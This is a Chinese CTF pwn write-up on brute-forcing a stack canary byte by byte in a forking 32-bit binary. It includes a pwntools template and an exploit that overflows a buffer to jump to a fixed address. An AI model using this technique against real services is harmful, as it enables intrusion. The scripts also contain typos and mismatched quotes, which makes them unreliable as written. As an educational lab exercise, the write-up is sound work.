爆破canary
原理
- 对于Canary,虽然每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存。
- 最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃;爆破成功则程序进行下面的逻辑。由此可判断爆破是否成功。
- 我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。
题目分析
检查保护
32位程序,开启了canary保护和NX保护,将文件放入ida中
ida
分析可知看出,main函数中存在fork函数,这是爆破canary的重点
fun()
进入fun()函数
-
发现read(0, buf, 0x78u);通过对栈段的查看,我们可以输入0x78的内容
-
但是buf的空间为:0x70-0xc=0x64
-
-
因此可以发生栈溢出覆盖其他变量,其中v2就是保存的Canary变量
解题思路
- 一位一位的去爆破Canary,使用栈溢出填充垃圾字符,直到Canary ,然后再尝试填充Canary
- 若Canary正确,则进行下一位的爆破
- 若Canary错误,程序会执行fork重新运行
注意
- Canary的形式填充到寄存器中的形式为:aaaax\00
爆破Canary的通用模板
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386',os='linux')
local = 1
elf = ELF()
if local:
p = process()
#libc = elf.libc
else:
p =remote()
libc = ELF()
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
for i in range(256):
print"正在爆破Canary的第” + str(k+1)+"位"
print"当前的字符为"+ chr(i)
payload=b'a'*100 + canary + chr(i)
print "当前payload为:",payload
p.send(b'a'*100 + canary +chr(i))
data = p.recvuntil("welcome\n")
print data
if "sucess" in data:
canary += chr(i)
print "Canary is:" + canary
break
本题exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386',os='linux')
local = 1
elf = ELF()
if local:
p = process()
#libc = elf.libc
else:
p =remote()
libc = ELF()
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
for i in range(256):
print"正在爆破Canary的第” + str(k+1)+"位"
print"当前的字符为"+ chr(i)
payload=b'a'*100 + canary + chr(i)
print "当前payload为:",payload
p.send(b'a'*100 + canary +chr(i))
data = p.recvuntil("welcome\n")
print data
if "sucess" in data:
canary += chr(i)
print "Canary is:" + canary
break
addr = 0x0804863B
payload = b'A'*100 + canary + b'A'*12 + p32(addr)
p.send(payload)
p,interactive()